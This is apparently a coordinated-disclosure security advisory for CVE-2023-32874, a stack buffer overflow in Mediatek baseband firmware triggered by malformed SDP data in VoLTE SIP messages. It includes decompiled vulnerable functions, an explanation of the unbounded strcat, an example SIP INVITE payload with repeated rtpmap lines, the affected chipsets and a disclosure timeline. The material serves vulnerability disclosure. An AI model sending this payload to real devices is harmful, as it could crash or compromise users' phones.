An attacker sending a malformed SIP message over VoLTE to a device with a Mediatek baseband can trigger the vulnerability described here.
The impact is stack buffer overflow in the baseband, triggered by malformed SDP data in VoLTE message such as SIP INVITE or MESSAGE request.
The vulnerability described in this advisory affected a wide range of Mediatek devices. The January 2024 issue of the Mediatek Security Bulletin contains this vulnerability as CVE-2023-32874.
Vulnerability Details
When a SIP message contains SDP data, first the cc_call_unpack_sdpmsg
routine is invoked to unpack the message bytes into an internal representation (sdp_message_struct
).
Later the codec information is extracted from this internal representation by calling several codec extracting functions.
This includes acct_extract_codec_info_from_sdp
, ussd_extract_codec_info_from_sdp
and sip_set_sip_info_ind_sdp_para
.
All three functions contain a stack buffer overflow vulnerability: the stack buffer that holds the generated
codec info string is limited in length, but the codec info can have an arbitrary length.
This same vulnerability is present in acct_extract_codec_info_from_sdp
, ussd_extract_codec_info_from_sdp
and sip_set_sip_info_ind_sdp_para
, because these routines essentially implement the exact same functionality.
void sip_set_sip_info_ind_sdp_para(
ims_dbg_sip_info_ind_struct *dbg_sip_info,
sdp_message_struct *sdp_msg
) {
size_t buf_len;
undefined4 uVar1;
sdp_media_struct *m;
sdp_media_attr_struct *rtpmap_entry;
char tmp [32];
char buf [256];
__wrap_memset(buf,0,0x100);
m = sdp_msg->m;
dbg_sip_info->session_as = (kal_uint16)(sdp_msg->b).value;
// [0] SDP media descriptions are iterated
for (; m != NULL; m = m->next) {
if ((m->is_present != KAL_FALSE) && (m->port != 0)) {
if (m->media == 0) {
dbg_sip_info->audio_as = (kal_uint16)(m->b).value;
dbg_sip_info->audio_port = (kal_uint16)m->port;
}
else if (m->media == 1) {
dbg_sip_info->video_as = (kal_uint16)(m->b).value;
dbg_sip_info->video_port = (kal_uint16)m->port;
}
// [1] rtpmap attributes are iterated for each media description
for (rtpmap_entry = m->rtpmap_list; rtpmap_entry != NULL;
rtpmap_entry = rtpmap_entry->p_next) {
__wrap_memset(tmp,0,0x20);
uVar1 = sip_get_codec_enum((int)(char)rtpmap_entry->encoding_name,
rtpmap_entry->clock_rate);
voip_snprintf(tmp,0x20,"%d;%d,",rtpmap_entry->pt,uVar1);
// [2] the codec id and payload type is added to the stack buffer
strcat(buf,tmp);
}
}
}
if (buf[0] != '\0') {
buf_len = strlen(buf);
tmp[buf_len + 0x1f] = '\0';
voip_strncpy(dbg_sip_info->codec_info,buf,0x100);
}
return;
}
void acct_extract_codec_info_from_sdp(sdp_msg_t *sdp_msg,char *out)
{
size_t sVar1;
undefined4 uVar2;
sdp_media_rtmap_t *rtpmap;
sdp_msg_media_t *media;
char line [32];
char buf [256];
__wrap_memset(buf,0,0x100);
if (sdp_msg != (sdp_msg_t *)0x0) {
// [0] SDP media descriptions are iterated
for (media = sdp_msg->m_media_p; media != (sdp_msg_media_t *)0x0; media = media->next) {
// [1] rtpmap attributes are iterated for each media description
for (rtpmap = media->a_rtpmap_list; rtpmap != (sdp_media_rtmap_t *)0x0; rtpmap = rtpmap->next)
{
__wrap_memset(line,0,0x20);
uVar2 = acct_get_icd_codec_enum
((int)(char)rtpmap->encoding_type,*(int *)&rtpmap->clock_rate_idx);
voip_snprintf(line,0x20,"%d;%d,",rtpmap->payload_type,uVar2);
// [2] the codec id and payload type is added to the stack buffer
strcat(buf,line);
}
}
if (buf[0] != '\0') {
buf[strlen(buf)] = '\0';
}
}
voip_strncpy(out,buf,0x100);
return;
}
The SDP content of a SIP Invite message can contain multiple media descriptions, each of which
can contain 31 rtpmap attributes.
The number of media descriptions is not limited.
The vulnerable code iterates over the media descriptions [0] and rtpmap attributes [1], retrieves the codec enum value for each attribute and prints it into a temporary buffer.
The content of the temporary buffer is concatenated to a 256 bytes long stack buffer using strcat
, without any bounds checking.
Note that on some firmware versions, the acct_extract_codec_info_from_sdp
and ussd_extract_codec_info_from_sdp
function implementations call the sdp_merge_comma_separated_strings
function to concatenate buffers instead of the vulnerable strcat
.
This function uses a heap buffer to hold the resulting string and correctly extends it whenever needed.
However, sip_set_sip_info_ind_sdp_para
remains vulnerable and is reached via the _sip_ua_dbg_sip_info_ind
function, which is a call path that is reached for all SIP messages with an SDP body.
Example Payload
INVITE sip:192.168.101.3:50021;transport=tcp SIP/2.0
Content-Type: application/sdp
Content-Length: 2953
<snip>
v=0
o=rue 3259 3259 IN IP4 172.30.0.16
s=-
c=IN IP4 172.30.0.16
b=AS:41
b=RR:1537
b=RS:512
t=0 0
m=audio 49210 RTP/AVP 107 106 105 104 101 102
b=AS:41
b=RR:1537
b=RS:512
a=maxptime:240
a=curr:qos local none
a=curr:qos remote none
a=des:qos mandatory local sendrecv
a=des:qos optional remote sendrecv
a=rtpmap:107 AMR-WB/16000/1
a=fmtp:107 mode-change-capability=2;max-red=0
a=rtpmap:106 AMR-WB/16000/1
a=fmtp:106 octet-align=1;mode-change-capability=2;max-red=0
a=rtpmap:105 AMR/8000/1
a=fmtp:105 mode-change-capability=2;max-red=0
a=rtpmap:104 AMR/8000/1
a=fmtp:104 octet-align=1;mode-change-capability=2;max-red=0
a=rtpmap:101 telephone-event/16000
a=fmtp:101 0-15
a=rtpmap:102 telephone-event/8000
a=fmtp:102 0-15
a=sendrecv
a=rtcp:49211
a=ptime:20
m=audio 0 RTP/AVP 109
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
a=rtpmap:109 telephone-event/8000
m=audio 1 RTP/AVP 110
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
a=rtpmap:110 telephone-event/8000
m=audio 1 RTP/AVP 111
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
a=rtpmap:111 telephone-event/8000
Affected Devices
MT2735, MT6779, MT6781, MT6783, MT6785, MT6785T, MT6789, MT6813, MT6833, MT6833P, MT6835, MT6853, MT6853T, MT6855, MT6873, MT6875, MT6877, MT6877T, MT6878, MT6879, MT6880, MT6883, MT6885, MT6886, MT6889, MT6890, MT6891, MT6893, MT6895, MT6895T, MT6896, MT6897, MT6980, MT6980D, MT6983T, MT6983W, MT6983Z, MT6985, MT6985T, MT6989, MT6990
Timeline
- 2023.07.28. Bug reported to Mediatek PSIRT
- 2023.08.07. Mediatek confirms vulnerability
- 2023.11.06. Mediatek confirms CVE
- 2024.01.02. Mediatek releases security bulletin
- 2025.06.26. Vulnerability publicly disclosed at Troopers ‘25
- 2025.10.01. Advisory release